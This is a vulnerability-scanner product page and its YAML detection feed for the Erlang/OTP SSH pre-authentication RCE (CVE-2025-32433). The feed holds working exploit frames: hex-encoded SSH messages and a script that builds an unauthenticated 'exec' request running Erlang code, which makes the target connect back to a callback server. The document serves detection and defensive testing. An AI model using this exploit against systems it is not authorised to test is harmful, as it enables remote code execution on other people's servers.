Erlang/OTP SSH — 1 vulnerability check

noctis ships 1 vulnerability check for Erlang/OTP SSH, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Erlang/OTP SSH pre-authentication RCE

CVECVE-2025-32433
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesssh
Detectionset_var, tcp_open, script, tcp_send, tcp_close, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/erlang-otp-ssh/CVE-2025-32433.yaml

Requires an SSH-x-Erlang banner. After the banner exchange it sends a KEXINIT followed by an unauthenticated CHANNEL_OPEN session message: a fixed daemon closes the connection at once, a vulnerable one accepts the message and keeps the connection open, which confirms the flaw. With OOB enabled it then opens a session channel on a new connection and sends an exec request whose Erlang code connects to the OOB server and requests the run's token; the callback confirms unauthenticated code execution (nothing is run on the operating system or written). When the behaviour probe is inconclusive it reports the ssh application version from the banner when it predates 4.15.3.12 (OTP 25 and older), 5.1.4.8 (OTP 26) or 5.2.10 (OTP 27).

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Parses / computes the next value with a Rhai script
  3. Sends a binary frame on the open socket
  4. Sends a binary frame on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. Opens a persistent TCP/TLS socket
  8. Sends a binary frame on the open socket
  9. Sends a binary frame on the open socket
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Erlang/OTP SSH unauthenticated code execution confirmed (CVE-2025-32433)
  11. Checks pre_verdict for ^accepted$ → finding QoD 75: Erlang/OTP SSH accepts connection messages before authentication (CVE-2025-32433)
  12. Checks erl.version for ^[0-9] → finding QoD 70: Erlang/OTP SSH version affected by the pre-authentication RCE (CVE-2025-32433)

References:

Feed source — tests/vulnerabilities/erlang-otp-ssh/CVE-2025-32433.yaml
# Erlang/OTP SSH pre-authentication RCE — CVE-2025-32433
#
# The Erlang/OTP `ssh` application handled SSH connection-protocol messages
# (CHANNEL_OPEN, CHANNEL_REQUEST "exec"…) before the client had authenticated —
# even before key exchange. An unauthenticated client can open a session channel
# and send "exec": the daemon evaluates the command as Erlang code. Fixed in
# OTP-27.3.3 (ssh 5.2.10), OTP-26.2.5.11 (ssh 5.1.4.8) and OTP-25.3.2.20
# (ssh 4.15.3.12); every older release is affected.
#
# Detection (all branches need an "SSH-x-Erlang" banner):
#   - Behaviour (QoD 75): after the banner exchange, send our KEXINIT followed by
#     a plaintext CHANNEL_OPEN "session". A fixed daemon treats the early
#     connection message as a protocol violation and closes the socket at once;
#     a vulnerable one accepts it and keeps waiting for the key exchange. The
#     tcp_send read ends at once on EOF and otherwise waits its full
#     timeout_secs, so duration_ms tells the two apart. Catches distro backports
#     that keep the old ssh version string, and a fixed daemon is never reported
#     on its version alone.
#   - OOB only (QoD 97): on a fresh connection, CHANNEL_OPEN + CHANNEL_REQUEST
#     "exec" whose Erlang code opens a TCP connection to the OOB server and sends
#     an HTTP GET for the run's token (gen_tcp, no OS command, nothing written).
#   - Version (QoD 70): the ssh application version in the banner, compared
#     numerically, when the behaviour probe was inconclusive. OTP-28.0-rc1/rc2
#     (vulnerable) already report ssh 5.3 and count as fixed here; the
#     behaviour probe still catches them.
#
# Verified on the official erlang:27.3.2 (ssh 5.2.9, vulnerable: stays open,
# exec callback received) and erlang:27.3.3 (ssh 5.2.10, fixed: closes at once,
# no callback) images.
uid: 1de94f3f-1896-405b-b5f7-f9bcedcd4967
name: "Erlang/OTP SSH pre-authentication RCE (CVE-2025-32433)"
description: "Requires an SSH-x-Erlang banner. After the banner exchange it sends a KEXINIT followed by an unauthenticated CHANNEL_OPEN session message: a fixed daemon closes the connection at once, a vulnerable one accepts the message and keeps the connection open, which confirms the flaw. With OOB enabled it then opens a session channel on a new connection and sends an exec request whose Erlang code connects to the OOB server and requests the run's token; the callback confirms unauthenticated code execution (nothing is run on the operating system or written). When the behaviour probe is inconclusive it reports the ssh application version from the banner when it predates 4.15.3.12 (OTP 25 and older), 5.1.4.8 (OTP 26) or 5.2.10 (OTP 27)."
cves: [CVE-2025-32433]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [ssh, erlang, otp, rce, pre-auth, oob, intrusive, kev]
services: [ssh]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-32433"
  - "https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2"

steps:
  - id: init-vars
    action: set_var
    var_name: pre_verdict
    var_value: "none"

  # Erlang sends its version string first and its KEXINIT only once it has the
  # client's version string.
  - id: open-ssh
    action: tcp_open
    handle: erl
    port: "{{port}}"
    read_banner: true
    timeout_secs: 5
    store_as: greet

  - id: parse-banner
    action: script
    condition: "greet.connected == true"
    store_as: erl
    code: |
      let r = #{ erlang: false, version: "", in_range: false };
      let b = if type_of(greet.banner) == "string" { greet.banner } else { "" };
      if ereg("^SSH-[0-9.]+-Erlang", b) {
        r.erlang = true;
        let m = eregmatch("^SSH-[0-9.]+-Erlang/([0-9]+(\\.[0-9]+)*)", b);
        if m.len() >= 2 {
          r.version = m[1];
          let parts = split(m[1], ".");
          let v = [0, 0, 0, 0];
          let i = 0;
          while i < 4 && i < parts.len() {
            v[i] = parse_int(parts[i]);
            i += 1;
          }
          let k = ((v[0] * 1000 + v[1]) * 1000 + v[2]) * 1000 + v[3];
          // fixed: 4.15.3.12 (OTP 25), 5.1.4.8 (OTP 26), 5.2.10 (OTP 27), 5.3+ (OTP 28)
          r.in_range = k < 4015003012
            || (k >= 5000000000 && k < 5001004008)
            || (k >= 5002000000 && k < 5002010000);
        }
      }
      r

  # Client version string: the reply is the server KEXINIT.
  - id: send-version
    action: tcp_send
    handle: erl
    send_hex: "5353482d322e302d6e6f637469735f70726f62650d0a"
    timeout_secs: 3
    condition: "greet.connected == true && erl.erlang == true"
    store_as: kexinit

  # KEXINIT (curve25519/ecdh/dh14, aes-ctr, hmac-sha2) + CHANNEL_OPEN "session"
  # (sender channel 0), unencrypted, before any key exchange or authentication.
  - id: send-channel-open
    action: tcp_send
    handle: erl
    send_hex: "0000011c07140000000000000000000000000000000000000042637572766532353531392d7368613235362c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f757031342d736861323536000000347373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3235362c7373682d727361000000156165733132382d6374722c6165733235362d637472000000156165733132382d6374722c6165733235362d63747200000017686d61632d736861322d3235362c686d61632d7368613100000017686d61632d736861322d3235362c686d61632d73686131000000046e6f6e65000000046e6f6e650000000000000000000000000000000000000000000000240b5a0000000773657373696f6e0000000000068000000100000000000000000000000000"
    timeout_secs: 3
    condition: "greet.connected == true && erl.erlang == true && kexinit.responded == true"
    store_as: chan

  - id: close-ssh
    action: tcp_close
    handle: erl

  # accepted: no reply and still open after the full 3 s read window.
  # rejected: no reply and the read ended early (EOF), i.e. the daemon hung up.
  - id: judge-channel-open
    action: script
    condition: "greet.connected == true && erl.erlang == true && kexinit.responded == true"
    store_as: pre_verdict
    code: |
      if chan.sent == true && chan.responded == false && chan.duration_ms >= 2500 {
        "accepted"
      } else if chan.sent == false || (chan.responded == false && chan.duration_ms < 1500) {
        "rejected"
      } else {
        "inconclusive"
      }

  # ── OOB exec proof ─────────────────────────────────────────────────────────
  - id: build-exec
    action: script
    condition: "oob_enabled && greet.connected == true && erl.erlang == true && pre_verdict != \"rejected\""
    store_as: exec_frames
    code: |
      let q = "\"";
      let host = "" + oob_host;
      let code = "{ok,S}=gen_tcp:connect(" + q + host + q + "," + oob_port
        + ",[{active,false}]),gen_tcp:send(S," + q + "GET /" + oob_token
        + " HTTP/1.1\\r\\nHost: " + host + "\\r\\nConnection: close\\r\\n\\r\\n" + q
        + "),gen_tcp:recv(S,0,5000),gen_tcp:close(S).";
      // SSH_MSG_CHANNEL_REQUEST, recipient channel 0, "exec", want_reply false
      let payload = "62" + p32be(0) + p32be(4) + hexstr("exec") + "00"
        + p32be(strlen(code)) + hexstr(code);
      let n = strlen(payload) / 2;
      let pad = 8 - ((5 + n) % 8);
      if pad < 4 { pad += 8; }
      let padding = "";
      let i = 0;
      while i < pad { padding += "00"; i += 1; }
      // KEXINIT + CHANNEL_OPEN (same as above) followed by the exec request
      "0000011c07140000000000000000000000000000000000000042637572766532353531392d7368613235362c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f757031342d736861323536000000347373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3235362c7373682d727361000000156165733132382d6374722c6165733235362d637472000000156165733132382d6374722c6165733235362d63747200000017686d61632d736861322d3235362c686d61632d7368613100000017686d61632d736861322d3235362c686d61632d73686131000000046e6f6e65000000046e6f6e650000000000000000000000000000000000000000000000240b5a0000000773657373696f6e0000000000068000000100000000000000000000000000"
        + p32be(1 + n + pad) + p8(pad) + payload + padding

  - id: open-exec
    action: tcp_open
    handle: erlx
    port: "{{port}}"
    read_banner: true
    timeout_secs: 5
    condition: "oob_enabled && greet.connected == true && erl.erlang == true && pre_verdict != \"rejected\""
    store_as: greet2

  - id: exec-version
    action: tcp_send
    handle: erlx
    send_hex: "5353482d322e302d6e6f637469735f70726f62650d0a"
    timeout_secs: 3
    condition: "oob_enabled && greet.connected == true && erl.erlang == true && pre_verdict != \"rejected\" && greet2.connected == true"
    store_as: kexinit2

  - id: send-exec
    action: tcp_send
    handle: erlx
    send_hex: "{{exec_frames}}"
    timeout_secs: 2
    condition: "oob_enabled && greet.connected == true && erl.erlang == true && pre_verdict != \"rejected\" && greet2.connected == true"
    store_as: exec_resp

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 15
    store_as: oob_result
    condition: "oob_enabled && greet.connected == true && erl.erlang == true && pre_verdict != \"rejected\" && greet2.connected == true"
    on_success:
      finding:
        title: "Erlang/OTP SSH unauthenticated code execution confirmed (CVE-2025-32433)"
        confidence_delta: 0.65
        qod: 97
        evidence: "Erlang/OTP SSH ({{greet.banner}}) evaluated Erlang code sent in a pre-authentication exec channel request and connected back to the OOB server (CVE-2025-32433)"
      stop: true

  - id: close-exec
    action: tcp_close
    handle: erlx

  # ── Behaviour proof ────────────────────────────────────────────────────────
  - id: channel-open-accepted
    action: match
    source: pre_verdict
    pattern: "^accepted$"
    condition: "greet.connected == true && erl.erlang == true"
    on_match:
      finding:
        title: "Erlang/OTP SSH accepts connection messages before authentication (CVE-2025-32433)"
        confidence_delta: 0.45
        qod: 75
        evidence: "Erlang/OTP SSH ({{greet.banner}}) accepted a CHANNEL_OPEN session message sent before key exchange and authentication and kept the connection open; fixed releases disconnect (CVE-2025-32433)"
      stop: true

  # ── Version fallback ───────────────────────────────────────────────────────
  - id: version-match
    action: match
    source: erl.version
    pattern: "^[0-9]"
    condition: "greet.connected == true && erl.erlang == true && erl.in_range == true && pre_verdict != \"rejected\""
    on_match:
      finding:
        title: "Erlang/OTP SSH version affected by the pre-authentication RCE (CVE-2025-32433)"
        confidence_delta: 0.35
        qod: 70
        evidence: "Erlang/OTP SSH banner reports ssh {{erl.version}}, before 4.15.3.12 (OTP 25), 5.1.4.8 (OTP 26) or 5.2.10 (OTP 27) (CVE-2025-32433)"
      stop: true

View these feeds on GitHub